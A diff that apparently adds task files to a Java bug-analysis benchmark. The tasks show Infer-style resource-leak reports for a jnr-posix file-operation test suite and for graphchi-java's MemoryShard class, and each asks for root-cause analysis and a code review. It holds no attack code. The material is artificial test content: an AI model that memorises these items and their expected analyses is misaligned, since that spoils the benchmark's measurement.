+        assertStatNanoSecond(file, atimeSeconds, atimeNanoSeconds, mtimeSeconds, mtimeNanoSeconds);
+    }
+
+    @Test
+    public void lutimesTest() throws Throwable {
+        // FIXME: On Windows this is working but providing wrong numbers and therefore getting wrong results.
+        if (!Platform.IS_WINDOWS) {
+            File f1 = File.createTempFile("lutimes", null);
+            File f2 = new File(f1.getParentFile(), "lutimes-link");
+            posix.symlink(f1.getAbsolutePath(), f2.getAbsolutePath());
+
+            int rval = posix.utimes(f1.getAbsolutePath(), new long[]{800, 0}, new long[]{900, 0});
+            assertEquals("utimes did not return 0", 0, rval);
+
+            rval = posix.lutimes(f2.getAbsolutePath(), new long[]{1800, 0}, new long[]{1900, 0});
+            assertEquals("lutimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f1.getAbsolutePath());
+            assertEquals("atime seconds failed", 800, stat.atime());
+            assertEquals("mtime seconds failed", 900, stat.mtime());
+
+            stat = posix.lstat(f2.getAbsolutePath());
+            assertEquals("atime seconds failed", 1800, stat.atime());
+            assertEquals("mtime seconds failed", 1900, stat.mtime());
+
+            f1.delete();
+            f2.delete();
+        }
+    }
+
+    @Test
+    public void futimeTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("jnr-posix-futime", "tmp");
+            long oldTime = posix.stat(f.getAbsolutePath()).mtime();
+            Thread.sleep(2000);
+            int fd = posix.open(f.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0666);
+            int rval = posix.futimes(fd, null, null);
+            assertEquals("futime did not return 0", 0, rval);
+            long newTime = posix.stat(f.getAbsolutePath()).mtime();
+            f.delete();
+            assertTrue("mtime failed", newTime > oldTime);
+        }
+    }
+
+    @Test
+    public void linkTest() throws Throwable {
+        File f1 = File.createTempFile("utime", null);
+        File f2 = new File(f1.getAbsolutePath() + "link");
+        int rval = posix.link(f1.getAbsolutePath(), f2.getAbsolutePath());
+        assertEquals("link did not return 0", 0, rval);
+        assertTrue("Link was not created", f2.exists());
+        f1.delete();
+        f2.delete();
+    }
+
+    @Test
+    public void mkdirRelativeTest() throws Throwable {
+        File dir = new File("tmp");
+        int rval = posix.mkdir(dir.getPath(), 0);
+        assertEquals("mkdir did not return 0", 0, rval);
+        assertTrue("Directory was not created", dir.exists());
+        dir.delete();
+    }
+
+    @Test
+    public void mkdirAbsoluteTest() throws Throwable {
+        File dir = new File("tmp");
+        int rval = posix.mkdir(dir.getAbsolutePath(), 0);
+        assertEquals("mkdir did not return 0", 0, rval);
+        assertTrue("Directory was not created", dir.exists());
+        dir.delete();
+    }
+    
+    @Test
+    public void flockTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("flockTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+            RandomAccessFile raf2 = new RandomAccessFile(tmp, "rw");
+            FileChannel fc = raf.getChannel();
+            FileChannel fc2 = raf2.getChannel();
+            FileDescriptor FD = JavaLibCHelper.getDescriptorFromChannel(fc);
+            FileDescriptor FD2 = JavaLibCHelper.getDescriptorFromChannel(fc2);
+            int fd = JavaLibCHelper.getfdFromDescriptor(FD);
+            int fd2 = JavaLibCHelper.getfdFromDescriptor(FD2);
+
+            assertEquals(0, posix.flock(fd, 1)); // LOCK_SH
+            assertEquals(0, posix.flock(fd, 8)); // LOCK_UN
+            assertEquals(0, posix.flock(fd, 2)); // LOCK_EX
+            assertEquals(-1, posix.flock(fd2, 2 | 4)); // LOCK_EX | LOCK_NB
+            assertEquals(0, posix.flock(fd, 8)); // LOCK_UN
+        }
+    }
+
+    @Test
+    public void dupTest() throws Throwable {
+        File tmp = File.createTempFile("dupTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        FileChannel fileChannel = raf.getChannel();
+        int fileDescriptor = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(fileChannel));
+
+        byte[] outContent = "foo".getBytes();
+
+        FileDescriptor newFileDescriptor = toDescriptor(posix.dup(fileDescriptor));
+
+        new FileOutputStream(toDescriptor(fileDescriptor)).write(outContent);
+        raf.seek(0);
+
+        byte[] inContent = new byte[outContent.length];
+        new FileInputStream(newFileDescriptor).read(inContent, 0, 3);
+
+        assertArrayEquals(inContent, outContent);
+    }
+
+    @Test
+    public void dup2Test() throws Throwable {
+        File tmp = File.createTempFile("dupTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        int oldFd = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(new RandomAccessFile(tmp, "rw").getChannel()));
+        int newFd = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(raf.getChannel()));
+
+        byte[] outContent = "foo".getBytes();
+
+        // NB: Windows differs a bit from POSIX's return value.  Both will return -1 on failure, but Windows will return
+        // 0 upon success, while POSIX will return the new FD.  Since we already know what the FD will be if the call
+        // is successful, it's easy to make code that works with both forms.  But it is something to watch out for.
+        assertNotEquals(-1, posix.dup2(oldFd, newFd));
+        FileDescriptor newFileDescriptor = toDescriptor(newFd);
+
+        new FileOutputStream(toDescriptor(oldFd)).write(outContent);
+        raf.seek(0);
+
+        byte[] inContent = new byte[outContent.length];
+        new FileInputStream(newFileDescriptor).read(inContent, 0, 3);
+
+        assertArrayEquals(inContent, outContent);
+    }
+
+    @Test
+    public void fcntlDupfdTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("fcntlTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+            int fd = JavaLibCHelper.getfdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(raf.getChannel()));
+
+            byte[] outContent = "foo".getBytes();
+
+            int newFd = posix.fcntl(fd, Fcntl.F_DUPFD);
+
+            new FileOutputStream(JavaLibCHelper.toFileDescriptor(fd)).write(outContent);
+            raf.seek(0);
+
+            byte[] inContent = new byte[outContent.length];
+            new FileInputStream(JavaLibCHelper.toFileDescriptor(newFd)).read(inContent, 0, 3);
+
+            assertArrayEquals(inContent, outContent);
+        }
+    }
+
+    @Test
+    public void fcntlDupfdWithArgTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("dupTest", "tmp");
+            int oldFd = JavaLibCHelper.getfdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(
+                    new RandomAccessFile(tmp, "rw").getChannel()));
+            int newFd = JavaLibCHelper.getfdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(
+                    new RandomAccessFile(tmp, "rw").getChannel()));
+
+            byte[] outContent = "foo".getBytes();
+
+            int dupFd = posix.fcntl(oldFd, Fcntl.F_DUPFD, newFd);
+
+            new FileOutputStream(JavaLibCHelper.toFileDescriptor(newFd)).write(outContent);
+
+            byte[] inContent = new byte[outContent.length];
+            new FileInputStream(JavaLibCHelper.toFileDescriptor(dupFd)).read(inContent, 0, 3);
+
+            assertTrue(dupFd > newFd);
+            assertArrayEquals(inContent, outContent);
+        }
+    }
+
+    @Test
+    public void closeTest() throws Throwable {
+        File tmp = File.createTempFile("closeTest", "tmp");
+        int fd = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(new RandomAccessFile(tmp, "rw").getChannel()));
+
+        int result;
+
+        result = posix.close(fd);
+        assertEquals(0, result);
+
+        result = posix.close(fd);
+        assertEquals(-1, result);
+
+        // TODO (nirvdrum 06-May-15) We're not getting the correct errno value from Windows currently, so we need to skip this test.
+        if (!Platform.IS_WINDOWS) {
+            assertEquals(Errno.EBADF.intValue(), posix.errno());
+        }
+    }
+
+    @Test
+    public void unlinkTestNonWindows() throws Throwable {
+        if (! Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("unlinkTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+
+            raf.write("hello".getBytes());
+
+            int res = posix.unlink(tmp.getCanonicalPath());
+
+            assertEquals(0, res);
+            assertFalse(tmp.exists());
+
+            raf.write("world".getBytes());
+            raf.seek(0);
+
+            byte[] actual = new byte[10];
+            raf.read(actual);
+
+            assertArrayEquals("helloworld".getBytes(), actual);
+        }
+    }
+
+    @Test
+    public void openTest() throws Throwable {
+        int fd = posix.open("pom.xml", 0, 0666);
+
+        assertNotEquals(-1, fd);
+
+        int result = posix.close(fd);
+        assertEquals(0, result);
+
+        result = posix.close(fd);
+        assertEquals(-1, result);
+    }
+
+    @Test
+    public void writeTest() throws Throwable {
+        String str = "To thine own self be true";
+        File tmp = File.createTempFile("writeTest", "tmp");
+        ByteBuffer buffer = ByteBuffer.wrap(str.getBytes());
+
+        int fd = posix.open(tmp.getAbsolutePath(), 1, 066);
+        posix.write(fd, buffer, str.length());
+        posix.close(fd);
+
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        assertEquals(raf.readLine(), new String(buffer.array()));
+        posix.unlink(tmp.getAbsolutePath());
+    }
+
+    @Test
+    public void pwriteTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            String str = "Now is the winter of our discontent";
+            File tmp = File.createTempFile("pwriteTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+            raf.write(str.getBytes());
+            raf.close();
+
+            String str2 = "summer";
+            ByteBuffer buffer = ByteBuffer.wrap(str2.getBytes());
+
+            int fd = posix.open(tmp.getAbsolutePath(), 1, 066);
+            posix.pwrite(fd, buffer, str2.length(), 11);
+            posix.close(fd);
+
+            raf = new RandomAccessFile(tmp, "r");
+            assertEquals(raf.readLine(), "Now is the summer of our discontent");
+            posix.unlink(tmp.getAbsolutePath());
+        }
+    }
+
+    @Test
+    public void truncateTest() throws Throwable {
+        String str = "Beware the Jabberwock, my son!";
+        File tmp = File.createTempFile("truncateTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        raf.write(str.getBytes());
+        raf.close();
+
+        int shorterLength = str.length() - 10;
+        int longerLength = shorterLength * 2;
+
+        // Truncate should make a file shorter if the new length is less than the old length.
+        posix.truncate(tmp.getAbsolutePath(), shorterLength);
+        assertEquals(shorterLength, tmp.length());
+
+        // Truncate should extend a file if the new length is greater than the old length.
+        posix.truncate(tmp.getAbsolutePath(), longerLength);
+        assertEquals(longerLength, tmp.length());
+    }
+
+    @Test
+    public void ftruncateTest() throws Throwable {
+        String str = "Beware the Jabberwock, my son!";
+        File tmp = File.createTempFile("ftruncateTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        raf.write(str.getBytes());
+        raf.close();
+
+        int fd = posix.open(tmp.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0666);
+        posix.ftruncate(fd, 21);
+        posix.lseekLong(fd, 0, 0);
+        byte[] buf = new byte[21];
+        int read = posix.read(fd, buf, 31);
+        assertEquals(21, read);
+        assertArrayEquals(buf, "Beware the Jabberwock".getBytes());
+    }
+
+    @Test
+    public void fcntlIntTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            int[] fds = new int[2];
+            int ret = posix.pipe(fds);
+            assertEquals(0, ret);
+            int flags = posix.fcntlInt(fds[0], Fcntl.F_GETFD, 0);
+            posix.fcntlInt(fds[0], Fcntl.F_SETFD, flags | 1); // FD_CLOEXEC
+            assertEquals(flags | 1, posix.fcntlInt(fds[0], Fcntl.F_GETFD, 0));
+        }
+    }
+
+    @Test
+    public void fchmodTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("jnr-posix-chmod-test", "tmp");
+            int fd = posix.open(tmp.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0600);
+
+            assertEquals("chmod: ", 0, posix.fchmod(fd, 0));
+            assertEquals("chmod: ", 0, posix.fchmod(fd, 0777));
+            tmp.delete();
+        }
+    }
+
+
+    @Test
+    public void renameTest() throws IOException {
+        File oldFile = File.createTempFile("jnr-posix-rename-test", "tmp");
+        File newFile = new File(oldFile.getParent() + File.separatorChar + "jnr-posix-rename-test-new");
+
+        assertTrue(oldFile.exists());
+        assertFalse(newFile.exists());
+
+        posix.rename(oldFile.getCanonicalPath(), newFile.getCanonicalPath());
+
+        assertFalse(oldFile.exists());
+        assertTrue(newFile.exists());
+
+        newFile.delete();
+    }
+
+    @Test
+    public void accessTest() throws IOException {
+        File tmp = File.createTempFile("jnr-posix-access-test", "tmp");
+
+        jnr.constants.platform.Access.F_OK.intValue();
+
+        // Set permissions to read-only and verify we don't have permissions to write.
+        posix.chmod(tmp.getCanonicalPath(), 0400);
+        assertEquals("access: ", -1, posix.access(tmp.getCanonicalPath(), Access.W_OK.intValue()));
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.R_OK.intValue()));
+
+        // Reset the permissions to read-wrinte and verify we now have permissions to write.
+        posix.chmod(tmp.getCanonicalPath(), 0600);
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.W_OK.intValue()));
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.R_OK.intValue()));
+
+        // F_OK just checks the file exists and should pass.
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.F_OK.intValue()));
+    }
+
+    @Test
+    public void readlinkTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File file = File.createTempFile("jnr-pøsix-réådlînk-tést", "tmp");
+            File link = new File(file.getAbsolutePath() + "link");
+
+            posix.symlink(file.getAbsolutePath(), link.getAbsolutePath());
+
+            byte[] fileBytes = file.getAbsolutePath().getBytes();
+            int fileLength = fileBytes.length;
+
+            byte[] buffer = new byte[fileLength];
+
+            assertEquals(fileLength, posix.readlink(link.getAbsolutePath(), buffer, buffer.length));
+
+            assertArrayEquals(fileBytes, buffer);
+
+            link.delete();
+            file.delete();
+        }
+    }
+
+    @Test
+    public void readlinkByteBufferTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File file = File.createTempFile("jnr-pøsix-réådlînk-tést", "tmp");
+            File link = new File(file.getAbsolutePath() + "link");
+
+            posix.symlink(file.getAbsolutePath(), link.getAbsolutePath());
+
+            byte[] fileBytes = file.getAbsolutePath().getBytes();
+            int fileLength = fileBytes.length;
+            ByteBuffer buffer = ByteBuffer.allocate(fileLength);
+
+            assertEquals(fileLength, posix.readlink(link.getAbsolutePath(), buffer, buffer.capacity()));
+
+            assertArrayEquals(buffer.array(), file.getAbsolutePath().getBytes());
+
+            link.delete();
+            file.delete();
+        }
+    }
+
+    @Test
+    public void readlinkPointerTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File file = File.createTempFile("jnr-pøsix-réådlînk-tést", "tmp");
+            File link = new File(file.getAbsolutePath() + "link");
+
+            int bufSize = 1024;
+
+            Pointer buffer = jnr.ffi.Runtime.getSystemRuntime().getMemoryManager().allocateDirect(bufSize);
+
+            posix.symlink(file.getAbsolutePath(), link.getAbsolutePath());
+            
+            byte[] fileBytes = file.getAbsolutePath().getBytes();
+            int fileLength = fileBytes.length;
+
+            assertEquals(fileLength, posix.readlink(link.getAbsolutePath(), buffer, bufSize));
+
+            assertEquals(file.getAbsolutePath(), buffer.getString(0, fileLength, Charset.defaultCharset()));
+
+            link.delete();
+            file.delete();
+        }
+    }
+
+    @Test
+    public void mkfifoTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("mkfifoTest", "tmp");
+            tmp.deleteOnExit();
+
+            int ret = posix.mkfifo(tmp.getAbsolutePath(), 0666);
+
+            FileInputStream fis = new FileInputStream(tmp);
+            FileOutputStream fos = new FileOutputStream(tmp);
+
+            byte[] content = "hello".getBytes();
+
+            fos.write(content);
+            fis.read(content);
+
+            assertArrayEquals("hello".getBytes(), content);
+        }
+    }
+
+    @Test
+    public void lseekTest() throws Throwable {
+        if (Platform.IS_MAC) {
+            int fd = posix.open("/dev/zero", 0, 0);
+
+            // use 2^33 to ensure we're out of int range
+            long offset = (long) Math.pow(2, 33);
+            long seek = posix.lseekLong(fd, offset, 0);
+
+            assertEquals(seek, offset);
+        }
+    }
+
+    private int getFdFromDescriptor(FileDescriptor descriptor) {
+        if (Platform.IS_WINDOWS) {
+            HANDLE handle = JavaLibCHelper.gethandle(descriptor);
+            return ((WindowsLibC) posix.libc())._open_osfhandle(handle, 0);
+        } else {
+            return JavaLibCHelper.getfdFromDescriptor(descriptor);
+        }
+    }
+
+    private FileDescriptor toDescriptor(int fd) {
+        if (Platform.IS_WINDOWS) {
+            HANDLE handle = ((WindowsLibC) posix.libc())._get_osfhandle(fd);
+            return JavaLibCHelper.toFileDescriptor(handle);
+        } else {
+            return JavaLibCHelper.toFileDescriptor(fd);
+        }
+    }
+
+    private boolean hasNanosecondPrecision(FileStat fileStat) {
+        return fileStat instanceof NanosecondFileStat && !Platform.IS_MAC;
+    }
+
+    private void utimensat(File file, int parentFd) {
+        String path = file.getAbsolutePath();
+        FileStat fileStat = posix.stat(path);
+        if (!hasNanosecondPrecision(fileStat)) {
+            file.delete();
+            return;
+        }
+
+        long atimeSeconds = fileStat.atime()+2;
+        long mtimeSeconds = fileStat.mtime()-2;
+        long atimeNanoSeconds = 123456789;
+        long mtimeNanoSeconds = 135;
+        posix.utimensat(parentFd,
+                path,
+                new long[] {atimeSeconds, atimeNanoSeconds},
+                new long[] {mtimeSeconds, mtimeNanoSeconds},
+                0);
+        assertStatNanoSecond(file, atimeSeconds, atimeNanoSeconds, mtimeSeconds, mtimeNanoSeconds);
+    }
+
+    private void assertStatNanoSecond(File file, long atimeSeconds, long atimeNanoSeconds, long mtimeSeconds, long mtimeNanoSeconds) {
+        NanosecondFileStat nanosecondFileStat = (NanosecondFileStat) posix.stat(file.getPath());
+        assertEquals("Access timestamp should be updated", atimeSeconds, nanosecondFileStat.atime());
+        assertEquals("Modification timestamp should be updated", mtimeSeconds, nanosecondFileStat.mtime());
+        assertEquals("Access time precision should be in ns", atimeNanoSeconds, nanosecondFileStat.aTimeNanoSecs());
+        assertEquals("Modification time precision should be in ns", mtimeNanoSeconds, nanosecondFileStat.mTimeNanoSecs());
+        file.delete();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.RandomAccessFile` acquired to `raf` by call to `RandomAccessFile(...)` at line 287 is not released after line 295.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FileTest.fcntlDupfdTest()
+
+### Procedure Id:
+jnr.posix.FileTest.fcntlDupfdTest():void.2d4d6ec67940c406afe88c8010a1de29
+
+### File:
+src/test/java/jnr/posix/FileTest.java
+
+### Key:
+FileTest.java|fcntlDupfdTest|RESOURCE_LEAK
+
+### Node Key:
+734de9b26e688966a79959c29dc4ba96
+
+### Hash:
+0ea72fa34e9626b851f645e1eefabf56
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9022/instruction.md b/inferredbugs-9022/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..81d734730822f410874b0227345000a1bf4d7000
--- /dev/null
+++ b/inferredbugs-9022/instruction.md
@@ -0,0 +1,278 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** graphchi-java
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package edu.cmu.graphchi.shards;
+
+import edu.cmu.graphchi.ChiVertex;
+import edu.cmu.graphchi.datablocks.BytesToValueConverter;
+import edu.cmu.graphchi.datablocks.DataBlockManager;
+
+import java.io.*;
+
+/**
+ * Copyright [2012] [Aapo Kyrola, Guy Blelloch, Carlos Guestrin / Carnegie Mellon University]
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+public class MemoryShard <EdgeDataType> {
+
+    private String edgeDataFilename;
+    private String adjDataFilename;
+    private int rangeStart;
+    private int rangeEnd;
+
+    private byte[] adjData;
+    private int blockId;
+    private int edataFilesize;
+    private boolean loaded = false;
+    private boolean hasSetRangeOffset = false, hasSetOffset = false;
+
+    private int rangeStartOffset, rangeStartEdgePtr, rangeContVid;
+
+    private DataBlockManager dataBlockManager;
+    private BytesToValueConverter<EdgeDataType> converter;
+    private int streamingOffset, streamingOffsetEdgePtr, streamingOffsetVid;
+
+    private MemoryShard() {}
+
+    public MemoryShard(String edgeDataFilename, String adjDataFilename, int rangeStart, int rangeEnd) {
+        this.edgeDataFilename = edgeDataFilename;
+        this.adjDataFilename = adjDataFilename;
+        this.rangeStart = rangeStart;
+        this.rangeEnd = rangeEnd;
+    }
+
+    public void commitAndRelease(boolean modifiesInedges, boolean modifiesOutedges) throws IOException {
+        byte[] data = dataBlockManager.getRawBlock(blockId);
+
+        if (modifiesInedges) {
+            FileOutputStream fos = new FileOutputStream(new File(edgeDataFilename));
+            fos.write(data);
+            fos.close();
+        } else if (modifiesOutedges) {
+            ucar.unidata.io.RandomAccessFile rFile =
+                    new ucar.unidata.io.RandomAccessFile(edgeDataFilename, "rwd");
+            rFile.seek(rangeStartEdgePtr);
+            int last = streamingOffsetEdgePtr;
+            if (last == 0) last = edataFilesize;
+            rFile.write(data, rangeStartEdgePtr, last  - rangeStartEdgePtr);
+            rFile.close();
+        }
+        dataBlockManager.release(blockId);
+
+    }
+
+    public void loadVertices(int windowStart, int windowEnd, ChiVertex[] vertices)
+            throws FileNotFoundException, IOException {
+        if (adjData == null) {
+            loadAdj();
+
+            edataFilesize = (int) new File(edgeDataFilename).length();
+            blockId = dataBlockManager.allocateBlock(edataFilesize);
+        }
+
+
+        System.out.println("Load memory shard");
+        int vid = 0;
+        int edataPtr = 0;
+        int adjOffset = 0;
+        int sizeOf = converter.sizeOf();
+        DataInputStream adjInput = new DataInputStream(new ByteArrayInputStream(adjData));
+        while(adjInput.available() > 0) {
+            if (!hasSetOffset && vid > rangeEnd) {
+                streamingOffset = adjOffset;
+                streamingOffsetEdgePtr = edataPtr;
+                streamingOffsetVid = vid;
+                hasSetOffset = true;
+            }
+            if (!hasSetRangeOffset && vid >= rangeStart) {
+                rangeStartOffset = adjOffset;
+                rangeStartEdgePtr = edataPtr;
+                hasSetRangeOffset = true;
+            }
+
+            int n = 0;
+            int ns = adjInput.readUnsignedByte();
+            adjOffset += 1;
+            assert(ns >= 0);
+            if (ns == 0) {
+                // next value tells the number of vertices with zeros
+                vid++;
+                int nz = adjInput.readUnsignedByte();
+                adjOffset += 1;
+                vid += nz;
+                continue;
+            }
+            if (ns == 0xff) {   // If 255 is not enough, then stores a 32-bit integer after.
+                n = Integer.reverseBytes(adjInput.readInt());
+                adjOffset += 4;
+            } else {
+                n = ns;
+            }
+
+            ChiVertex vertex = null;
+            if (vid >= windowStart && vid <= windowEnd) {
+                vertex = vertices[vid - windowStart];
+            }
+
+            while (--n >= 0) {
+                int target = Integer.reverseBytes(adjInput.readInt());
+                adjOffset += 4;
+                if (!(target >= rangeStart && target <= rangeEnd))
+                    throw new IllegalStateException("Target " + target + " not in range!");
+                if (vertex != null) {
+                    vertex.addOutEdge(blockId, edataPtr, target);
+                }
+
+                if (target >= windowStart) {
+                    if (target <= windowEnd) {
+                        ChiVertex dstVertex = vertices[target - windowStart];
+                        if (dstVertex != null) {
+                            dstVertex.addInEdge(blockId, edataPtr, vid);
+                        }
+                        if (vertex != null && dstVertex != null) {
+                            dstVertex.parallelSafe = false;
+                            vertex.parallelSafe = false;
+                        }
+                    }
+                }
+                edataPtr += sizeOf;
+
+                // TODO: skip
+            }
+            vid++;
+        }
+
+        /* Load the edge data from file. Should be done asynchronously. */
+        if (!loaded) {
+            int read = 0;
+            FileInputStream fdis = new FileInputStream(new File(edgeDataFilename));
+            while (read < edataFilesize) {
+                read += fdis.read(dataBlockManager.getRawBlock(blockId), read, edataFilesize - read);
+            }
+
+            loaded = true;
+        }
+    }
+
+
+    private void loadAdj() throws FileNotFoundException, IOException {
+        File adjFile = new File(adjDataFilename);
+        FileInputStream fis = new FileInputStream(adjFile);
+
+        int filesize = (int) adjFile.length();
+        adjData = new byte[filesize];
+
+        int read = 0;
+        while (read < filesize) {
+            read += fis.read(adjData, read, filesize - read);
+        }
+
+    }
+
+    public DataBlockManager getDataBlockManager() {
+        return dataBlockManager;
+    }
+
+    public void setDataBlockManager(DataBlockManager dataBlockManager) {
+        this.dataBlockManager = dataBlockManager;
+    }
+
+    public void setConverter(BytesToValueConverter<EdgeDataType> converter) {
+        this.converter = converter;
+    }
+
+    public int getStreamingOffset() {
+        return streamingOffset;
+    }
+
+    public int getStreamingOffsetEdgePtr() {
+        return streamingOffsetEdgePtr;
+    }
+
+    public int getStreamingOffsetVid() {
+        return streamingOffsetVid;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired to `fos` by call to `FileOutputStream(...)` at line 56 is not released after line 70.
+**Note**: potential exception at line 57
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MemoryShard.commitAndRelease(boolean,boolean)
+
+### Procedure Id:
+edu.cmu.graphchi.shards.MemoryShard.commitAndRelease(boolean,boolean):void.2d929323907b6d7f6e71be996df592b1
+
+### File:
+src/edu/cmu/graphchi/shards/MemoryShard.java
+
+### Key:
+MemoryShard.java|commitAndRelease|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+75dcc8ea05b6b116cfe783201608b79d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9025/instruction.md b/inferredbugs-9025/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8d8d2be1bc9ccd7c5ed40a413380edd46625677c
--- /dev/null
+++ b/inferredbugs-9025/instruction.md
@@ -0,0 +1,277 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** graphchi-java
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package edu.cmu.graphchi.shards;
+
+import edu.cmu.graphchi.ChiVertex;
+import edu.cmu.graphchi.datablocks.BytesToValueConverter;
+import edu.cmu.graphchi.datablocks.DataBlockManager;
+
+import java.io.*;
+
+/**
+ * Copyright [2012] [Aapo Kyrola, Guy Blelloch, Carlos Guestrin / Carnegie Mellon University]
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+public class MemoryShard <EdgeDataType> {
+
+    private String edgeDataFilename;
+    private String adjDataFilename;
+    private int rangeStart;
+    private int rangeEnd;
+
+    private byte[] adjData;
+    private int blockId;
+    private int edataFilesize;
+    private boolean loaded = false;
+    private boolean hasSetRangeOffset = false, hasSetOffset = false;
+
+    private int rangeStartOffset, rangeStartEdgePtr, rangeContVid;
+
+    private DataBlockManager dataBlockManager;
+    private BytesToValueConverter<EdgeDataType> converter;
+    private int streamingOffset, streamingOffsetEdgePtr, streamingOffsetVid;
+
+    private MemoryShard() {}
+
+    public MemoryShard(String edgeDataFilename, String adjDataFilename, int rangeStart, int rangeEnd) {
+        this.edgeDataFilename = edgeDataFilename;
+        this.adjDataFilename = adjDataFilename;
+        this.rangeStart = rangeStart;
+        this.rangeEnd = rangeEnd;
+    }
+
+    public void commitAndRelease(boolean modifiesInedges, boolean modifiesOutedges) throws IOException {
+        byte[] data = dataBlockManager.getRawBlock(blockId);
+
+        if (modifiesInedges) {
+            FileOutputStream fos = new FileOutputStream(new File(edgeDataFilename));
+            fos.write(data);
+            fos.close();
+        } else if (modifiesOutedges) {
+            ucar.unidata.io.RandomAccessFile rFile =
+                    new ucar.unidata.io.RandomAccessFile(edgeDataFilename, "rwd");
+            rFile.seek(rangeStartEdgePtr);
+            int last = streamingOffsetEdgePtr;
+            if (last == 0) last = edataFilesize;
